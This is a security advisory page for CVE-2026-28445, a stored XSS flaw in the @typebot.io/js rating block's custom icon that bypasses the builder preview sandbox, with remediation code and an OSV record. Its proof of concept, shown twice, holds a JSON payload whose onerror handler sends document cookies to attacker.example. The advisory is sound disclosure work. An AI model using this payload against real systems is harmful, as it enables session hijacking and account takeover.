CVE-2026-28445: @typebot.io/js Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-6m7c-xfhp-p9fh
CVSS 8.7
CWE-79
Published
Advisory Summary

CVE-2026-28445 is a HIGH (CVSS 8.7) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting @typebot.io/js libraries in the npm ecosystem. The issue involves typebot has stored xss via rating block custom icon that bypasses isunsafe sandbox in builder preview. Remediation is available by upgrading affected packages to version 0.10.1.

CVE-2026-28445 at a Glance

CVE Identifier CVE-2026-28445
GHSA Identifier GHSA-6m7c-xfhp-p9fh
Severity HIGH
CVSS v3.1 Base Score 8.7
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product @typebot.io/js
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-28445

To remediate this vulnerability, upgrade all affected @typebot.io/js dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@typebot.io/js fixed: 0.10.1
npm install @typebot.io/js@0.10.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @typebot.io/js

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-28445, inspect your project dependencies using npm:

npm ls @typebot.io/js

Analyze the terminal output to locate any version of @typebot.io/js in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.10.1), your application is affected.

Note: The npm ls @typebot.io/js command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In @typebot.io/js, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The rating block's custom icon feature accepts arbitrary HTML/SVG via the `customIcon.svg` field and renders it using Solid's `innerHTML` directive without any sanitization. When a malicious typebot is imported or crafted by a workspace collaborator, the payload executes in the builder's DOM context (builder.typebot.io), bypassing the `isUnsafe` Web Worker sandbox that protects Script blocks during preview. This allows session hijacking and privilege escalation within the builder application. ## Severity **High** (CVSS 3.1: 8.7) `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` - **Attack Vector:** Network — malicious typebot can be delivered via import/template sharing or crafted by a collaborator - **Attack Complexity:** Low — payload is a trivial HTML injection, no special conditions required - **Privileges Required:** Low — attacker needs either collaborator access to a workspace or the ability to distribute a typebot template - **User Interaction:** Required — victim must preview the bot in the builder - **Scope:** Changed — the vulnerable component (embed JS rating renderer) impacts the builder application's authentication context, a different security scope - **Confidentiality Impact:** High — full access to builder session cookies, auth tokens, and API access - **Integrity Impact:** High — can modify bots, workspace settings, or perform any action as the victim user - **Availability Impact:** None — no denial of service vector - **Builder preview context (CONFIRMED):** This is the real vulnerability. The rating block innerHTML bypasses the `isUnsafe` sandbox mechanism that protects against imported/untrusted Script blocks. The builder preview renders inline on the builder's origin with `'unsafe-inline'` CSP, giving the attacker full access to the victim's builder session. - **Viewer/embed context (NOT incremental):** Bot creators already have intentional arbitrary JavaScript execution via Script blocks in production mode (`executeScript.ts:22-24`). The rating innerHTML does not provide additional capability in this context. This is by design — bot creators control what code runs in their published bots. The adjusted severity reflects the builder-preview-specific impact, which is still High due to session hijacking potential on the privileged builder origin. ## Affected Component - `packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx` — `RatingButton` component (lines 153-160) - `apps/builder/src/features/typebot/helpers/sanitizers.ts` — `sanitizeBlock` function (lines 63-119) — missing rating block SVG sanitization ## CWE - **CWE-79**: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ## Description ### Unsanitized innerHTML in Rating Block Custom Icon The `RatingButton` component in the embeds JS package renders the custom icon SVG directly into the DOM via Solid's `innerHTML` directive with no sanitization: ```tsx // packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx:153-160 <div class="flex justify-center items-center rating-icon-container" innerHTML={ props.customIcon?.isEnabled && !isEmpty(props.customIcon.svg) ? props.customIcon.svg : defaultIcon } /> ``` The `customIcon.svg` field is stored as a plain string with no content validation at any layer: ```typescript // packages/blocks/inputs/src/rating/schema.ts:21-26 customIcon: z .object({ isEnabled: z.boolean().optional(), svg: z.string().optional(), // No sanitization — any HTML/JS accepted }) .optional(), ``` ### Inconsistent Defenses — DOMPurify Available But Not Used The codebase is aware of innerHTML XSS risks. `StreamingBubble.tsx` uses `dompurify` to sanitize content before passing it to `innerHTML`: ```tsx // packages/embeds/js/src/components/bubbles/StreamingBubble.tsx:2,28 import domPurify from "dompurify"; // ... domPurify.sanitize(marked.parse(line, { breaks: true }), { ADD_ATTR: ["target"] }) ``` DOMPurify is already a dependency of the embeds JS package. The rating block simply fails to use it. ### Bypass of the `isUnsafe` Sandbox Mechanism The codebase has a safety mechanism for imported/untrusted bots. When a typebot is imported, `sanitizeGroups` is called with `enableSafetyFlags: true`: ```typescript // apps/builder/src/features/typebot/api/handleImportTypebot.ts:121-128 const groups = ( duplicatingBot.groups ? await sanitizeGroups(duplicatingBot.groups, { workspace, enableSafetyFlags, // true for imports }) : [] ) as TypebotV6["groups"]; ``` However, `sanitizeBlock` only flags Script and SetVariable blocks as `isUnsafe` — rating blocks pass through completely unmodified: ```typescript // apps/builder/src/features/typebot/helpers/sanitizers.ts:70-82 const sanitizeBlock = async (block, { enableSafetyFlags, workspace }) => { if (!("options" in block) || !block.options) return block; if (enableSafetyFlags && block.type === LogicBlockType.SCRIPT) { return { ...block, options: { ...block.options, isUnsafe: true } }; } if (enableSafetyFlags && block.type === LogicBlockType.SET_VARIABLE) { return { ...block, options: { ...block.options, isUnsafe: true } }; } // Rating blocks with malicious customIcon.svg pass through here unchanged // ... }; ``` At runtime, unsafe Script blocks are sandboxed in a Web Worker during preview: ```typescript // packages/embeds/js/src/features/blocks/logic/script/executeScript.ts:14-17 if (isPreview && isUnsafe) { const argsRecord = Object.fromEntries(args.map((a) => [a.id, a.value])); const result = await runUserCodeInWorker(code, argsRecord); ``` But the rating block's `innerHTML` executes directly in the builder's DOM — no Worker, no sandbox, no checks. This creates a complete bypass of the import safety mechanism. ### Builder Preview Executes on the Builder Origin The builder preview renders the bot **inline** (not in an iframe) via a web component chain: ``` EditorPage → PreviewDrawer → WebPreview → <Standard /> (@typebot.io/react) → <typebot-standard> web component → Bot (Solid.js) → RatingForm → innerHTML ``` This means the malicious SVG/HTML executes with full access to the builder's DOM, cookies, and authentication context. The builder's CSP includes `'unsafe-inline'` for scripts: ```javascript // apps/builder/next.config.mjs:79 `script-src 'self' 'unsafe-inline' 'unsafe-eval' blob: https:` ``` This permits inline event handlers like `onerror` to execute. ## Proof of Concept ### Attack Vector 1: Malicious Typebot Import (Primary) 1. Attacker crafts a typebot JSON file containing: ```json { "groups": [{ "blocks": [{ "type": "rating input", "options": { "buttonType": "Icons", "customIcon": { "isEnabled": true, "svg": "<img src=x onerror=\"fetch('https://attacker.example/?c='+document.cookie)\">" } } }] }] } ``` 2. Attacker distributes the file (e.g., via community forums, template marketplace, or direct sharing). 3. Victim imports the typebot into their workspace. 4. Victim previews the bot in the builder. The rating block renders, triggering: - `onerror` fires because `src=x` fails to load - `fetch()` exfiltrates the victim's session cookies from the builder origin - Script blocks in the same bot would be sandboxed in a Worker due to `isUnsafe`, but the rating SVG bypasses this entirely ### Attack Vector 2: Malicious Workspace Collaborator 1. Collaborator with editor access modifies a rating block's custom icon SVG. 2. Workspace owner or admin previews the bot. 3. Attacker's payload executes in the admin's builder session. ## Impact - **Session hijacking:** Attacker can exfiltrate authentication cookies and session tokens from the builder origin - **Privilege escalation:** A collaborator with editor access can execute code in the session of workspace admins/owners - **Sandbox bypass:** Completely circumvents the `isUnsafe` Web Worker sandbox designed to protect against imported/untrusted bots - **Account takeover:** With stolen session tokens, the attacker can access the victim's full workspace, modify bots, access integrations, and view collected data - **Defense inconsistency:** The codebase sanitizes innerHTML in `StreamingBubble.tsx` but not in `RatingForm.tsx`, indicating this is an oversight rather than a design choice ## Recommended Remediation ### Option 1: Sanitize with DOMPurify at the rendering layer (Preferred) Apply the same DOMPurify sanitization pattern already used in `StreamingBubble.tsx`. This protects all paths regardless of where the data originates: ```tsx // packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx import domPurify from "dompurify"; // In the RatingButton component: <div class="flex justify-center items-center rating-icon-container" innerHTML={ props.customIcon?.isEnabled && !isEmpty(props.customIcon.svg) ? domPurify.sanitize(props.customIcon.svg) : defaultIcon } /> ``` This is the preferred fix because it applies defense at the lowest layer, protecting all callers (builder preview, viewer, embeds). ### Option 2: Validate SVG content at the schema/API layer Add SVG-specific validation in the Zod schema or in `sanitizeBlock`: ```typescript // In sanitizers.ts sanitizeBlock function, add a case for rating blocks: if (block.type === InputBlockType.RATING && block.options?.customIcon?.svg) { const cleanSvg = domPurify.sanitize(block.options.customIcon.svg, { USE_PROFILES: { svg: true }, }); return { ...block, options: { ...block.options, customIcon: { ...block.options.customIcon, svg: cleanSvg }, }, }; } ``` Note: This option alone is insufficient — it only protects data entering through the API, not data already in the database. Combine with Option 1 for defense-in-depth. ### Additional Recommendation: Audit other innerHTML usages `FileUploadForm.tsx:234` also renders `props.block.options?.labels?.placeholder` via `innerHTML` without sanitization — this should be audited for the same vulnerability class. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

CVE-2026-28445 Affected @typebot.io/js Versions

1 component(s)
Fixed Versions:
0.10.1
Product / Package Ecosystem Affected Versions Fixed Version
@typebot.io/js
npm
< 0.10.1
0.10.1

References

Frequently Asked Questions

What is CVE-2026-28445?
CVE-2026-28445 is a security vulnerability in @typebot.io/js involving Typebot has Stored XSS via Rating Block Custom Icon that Bypasses isUnsafe Sandbox in Builder Preview under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which @typebot.io/js versions are affected?
Affected versions include releases prior to 0.10.1 across affected packages: @typebot.io/js.
What version fixes CVE-2026-28445?
Upgrading to 0.10.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @typebot.io/js affected?
Yes, @typebot.io/js is affected in releases prior to 0.10.1. Upgrade your dependency to 0.10.1 or later.
What is the CVSS score of CVE-2026-28445?
CVE-2026-28445 has a CVSS v3.1 base score of 8.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-28445?
CVE-2026-28445 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-28445?
Run the dependency tree command: 'npm ls @typebot.io/js'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6m7c-xfhp-p9fh",
  "modified" : "2026-05-26T17:39:59Z",
  "published" : "2026-05-26T17:39:59Z",
  "aliases" : [ "CVE-2026-28445" ],
  "summary" : "Typebot has Stored XSS via Rating Block Custom Icon that Bypasses isUnsafe Sandbox in Builder Preview",
  "details" : "## Summary\nThe rating block's custom icon feature accepts arbitrary HTML/SVG via the `customIcon.svg` field and renders it using Solid's `innerHTML` directive without any sanitization. When a malicious typebot is imported or crafted by a workspace collaborator, the payload executes in the builder's DOM context (builder.typebot.io), bypassing the `isUnsafe` Web Worker sandbox that protects Script blocks during preview. This allows session hijacking and privilege escalation within the builder application.\n\n## Severity\n**High** (CVSS 3.1: 8.7)\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N`\n\n- **Attack Vector:** Network — malicious typebot can be delivered via import/template sharing or crafted by a collaborator\n- **Attack Complexity:** Low — payload is a trivial HTML injection, no special conditions required\n- **Privileges Required:** Low — attacker needs either collaborator access to a workspace or the ability to distribute a typebot template\n- **User Interaction:** Required — victim must preview the bot in the builder\n- **Scope:** Changed — the vulnerable component (embed JS rating renderer) impacts the builder application's authentication context, a different security scope\n- **Confidentiality Impact:** High — full access to builder session cookies, auth tokens, and API access\n- **Integrity Impact:** High — can modify bots, workspace settings, or perform any action as the victim user\n- **Availability Impact:** None — no denial of service vector\n\n- **Builder preview context (CONFIRMED):** This is the real vulnerability. The rating block innerHTML bypasses the `isUnsafe` sandbox mechanism that protects against imported/untrusted Script blocks. The builder preview renders inline on the builder's origin with `'unsafe-inline'` CSP, giving the attacker full access to the victim's builder session.\n- **Viewer/embed context (NOT incremental):** Bot creators already have intentional arbitrary JavaScript execution via Script blocks in production mode (`executeScript.ts:22-24`). The rating innerHTML does not provide additional capability in this context. This is by design — bot creators control what code runs in their published bots.\n\nThe adjusted severity reflects the builder-preview-specific impact, which is still High due to session hijacking potential on the privileged builder origin.\n\n## Affected Component\n- `packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx` — `RatingButton` component (lines 153-160)\n- `apps/builder/src/features/typebot/helpers/sanitizers.ts` — `sanitizeBlock` function (lines 63-119) — missing rating block SVG sanitization\n\n## CWE\n- **CWE-79**: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n## Description\n\n### Unsanitized innerHTML in Rating Block Custom Icon\n\nThe `RatingButton` component in the embeds JS package renders the custom icon SVG directly into the DOM via Solid's `innerHTML` directive with no sanitization:\n\n```tsx\n// packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx:153-160\n<div\n  class=\"flex justify-center items-center rating-icon-container\"\n  innerHTML={\n    props.customIcon?.isEnabled && !isEmpty(props.customIcon.svg)\n      ? props.customIcon.svg\n      : defaultIcon\n  }\n/>\n```\n\nThe `customIcon.svg` field is stored as a plain string with no content validation at any layer:\n\n```typescript\n// packages/blocks/inputs/src/rating/schema.ts:21-26\ncustomIcon: z\n  .object({\n    isEnabled: z.boolean().optional(),\n    svg: z.string().optional(),   // No sanitization — any HTML/JS accepted\n  })\n  .optional(),\n```\n\n### Inconsistent Defenses — DOMPurify Available But Not Used\n\nThe codebase is aware of innerHTML XSS risks. `StreamingBubble.tsx` uses `dompurify` to sanitize content before passing it to `innerHTML`:\n\n```tsx\n// packages/embeds/js/src/components/bubbles/StreamingBubble.tsx:2,28\nimport domPurify from \"dompurify\";\n// ...\ndomPurify.sanitize(marked.parse(line, { breaks: true }), { ADD_ATTR: [\"target\"] })\n```\n\nDOMPurify is already a dependency of the embeds JS package. The rating block simply fails to use it.\n\n### Bypass of the `isUnsafe` Sandbox Mechanism\n\nThe codebase has a safety mechanism for imported/untrusted bots. When a typebot is imported, `sanitizeGroups` is called with `enableSafetyFlags: true`:\n\n```typescript\n// apps/builder/src/features/typebot/api/handleImportTypebot.ts:121-128\nconst groups = (\n  duplicatingBot.groups\n    ? await sanitizeGroups(duplicatingBot.groups, {\n        workspace,\n        enableSafetyFlags,   // true for imports\n      })\n    : []\n) as TypebotV6[\"groups\"];\n```\n\nHowever, `sanitizeBlock` only flags Script and SetVariable blocks as `isUnsafe` — rating blocks pass through completely unmodified:\n\n```typescript\n// apps/builder/src/features/typebot/helpers/sanitizers.ts:70-82\nconst sanitizeBlock = async (block, { enableSafetyFlags, workspace }) => {\n  if (!(\"options\" in block) || !block.options) return block;\n\n  if (enableSafetyFlags && block.type === LogicBlockType.SCRIPT) {\n    return { ...block, options: { ...block.options, isUnsafe: true } };\n  }\n  if (enableSafetyFlags && block.type === LogicBlockType.SET_VARIABLE) {\n    return { ...block, options: { ...block.options, isUnsafe: true } };\n  }\n  // Rating blocks with malicious customIcon.svg pass through here unchanged\n  // ...\n};\n```\n\nAt runtime, unsafe Script blocks are sandboxed in a Web Worker during preview:\n\n```typescript\n// packages/embeds/js/src/features/blocks/logic/script/executeScript.ts:14-17\nif (isPreview && isUnsafe) {\n  const argsRecord = Object.fromEntries(args.map((a) => [a.id, a.value]));\n  const result = await runUserCodeInWorker(code, argsRecord);\n```\n\nBut the rating block's `innerHTML` executes directly in the builder's DOM — no Worker, no sandbox, no checks. This creates a complete bypass of the import safety mechanism.\n\n### Builder Preview Executes on the Builder Origin\n\nThe builder preview renders the bot **inline** (not in an iframe) via a web component chain:\n\n```\nEditorPage → PreviewDrawer → WebPreview → <Standard /> (@typebot.io/react)\n  → <typebot-standard> web component → Bot (Solid.js) → RatingForm → innerHTML\n```\n\nThis means the malicious SVG/HTML executes with full access to the builder's DOM, cookies, and authentication context. The builder's CSP includes `'unsafe-inline'` for scripts:\n\n```javascript\n// apps/builder/next.config.mjs:79\n`script-src 'self' 'unsafe-inline' 'unsafe-eval' blob: https:`\n```\n\nThis permits inline event handlers like `onerror` to execute.\n\n## Proof of Concept\n\n### Attack Vector 1: Malicious Typebot Import (Primary)\n\n1. Attacker crafts a typebot JSON file containing:\n```json\n{\n  \"groups\": [{\n    \"blocks\": [{\n      \"type\": \"rating input\",\n      \"options\": {\n        \"buttonType\": \"Icons\",\n        \"customIcon\": {\n          \"isEnabled\": true,\n          \"svg\": \"<img src=x onerror=\\\"fetch('https://attacker.example/?c='+document.cookie)\\\">\"\n        }\n      }\n    }]\n  }]\n}\n```\n\n2. Attacker distributes the file (e.g., via community forums, template marketplace, or direct sharing).\n\n3. Victim imports the typebot into their workspace.\n\n4. Victim previews the bot in the builder. The rating block renders, triggering:\n   - `onerror` fires because `src=x` fails to load\n   - `fetch()` exfiltrates the victim's session cookies from the builder origin\n   - Script blocks in the same bot would be sandboxed in a Worker due to `isUnsafe`, but the rating SVG bypasses this entirely\n\n### Attack Vector 2: Malicious Workspace Collaborator\n\n1. Collaborator with editor access modifies a rating block's custom icon SVG.\n2. Workspace owner or admin previews the bot.\n3. Attacker's payload executes in the admin's builder session.\n\n## Impact\n\n- **Session hijacking:** Attacker can exfiltrate authentication cookies and session tokens from the builder origin\n- **Privilege escalation:** A collaborator with editor access can execute code in the session of workspace admins/owners\n- **Sandbox bypass:** Completely circumvents the `isUnsafe` Web Worker sandbox designed to protect against imported/untrusted bots\n- **Account takeover:** With stolen session tokens, the attacker can access the victim's full workspace, modify bots, access integrations, and view collected data\n- **Defense inconsistency:** The codebase sanitizes innerHTML in `StreamingBubble.tsx` but not in `RatingForm.tsx`, indicating this is an oversight rather than a design choice\n\n## Recommended Remediation\n\n### Option 1: Sanitize with DOMPurify at the rendering layer (Preferred)\n\nApply the same DOMPurify sanitization pattern already used in `StreamingBubble.tsx`. This protects all paths regardless of where the data originates:\n\n```tsx\n// packages/embeds/js/src/features/blocks/inputs/rating/components/RatingForm.tsx\nimport domPurify from \"dompurify\";\n\n// In the RatingButton component:\n<div\n  class=\"flex justify-center items-center rating-icon-container\"\n  innerHTML={\n    props.customIcon?.isEnabled && !isEmpty(props.customIcon.svg)\n      ? domPurify.sanitize(props.customIcon.svg)\n      : defaultIcon\n  }\n/>\n```\n\nThis is the preferred fix because it applies defense at the lowest layer, protecting all callers (builder preview, viewer, embeds).\n\n### Option 2: Validate SVG content at the schema/API layer\n\nAdd SVG-specific validation in the Zod schema or in `sanitizeBlock`:\n\n```typescript\n// In sanitizers.ts sanitizeBlock function, add a case for rating blocks:\nif (block.type === InputBlockType.RATING && block.options?.customIcon?.svg) {\n  const cleanSvg = domPurify.sanitize(block.options.customIcon.svg, {\n    USE_PROFILES: { svg: true },\n  });\n  return {\n    ...block,\n    options: {\n      ...block.options,\n      customIcon: { ...block.options.customIcon, svg: cleanSvg },\n    },\n  };\n}\n```\n\nNote: This option alone is insufficient — it only protects data entering through the API, not data already in the database. Combine with Option 1 for defense-in-depth.\n\n### Additional Recommendation: Audit other innerHTML usages\n\n`FileUploadForm.tsx:234` also renders `props.block.options?.labels?.placeholder` via `innerHTML` without sanitization — this should be audited for the same vulnerability class.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@typebot.io/js"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.10.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-6m7c-xfhp-p9fh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28445"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/baptisteArno/typebot.io/commit/474ecbf46bc47a75265bada2599f12b2179de375"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/baptisteArno/typebot.io"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/baptisteArno/typebot.io/blob/v3.16.0/packages/embeds/js/package.json"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/baptisteArno/typebot.io/releases/tag/v3.16.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-26T17:39:59Z",
    "nvd_published_at" : "2026-05-22T17:16:46Z"
  }
}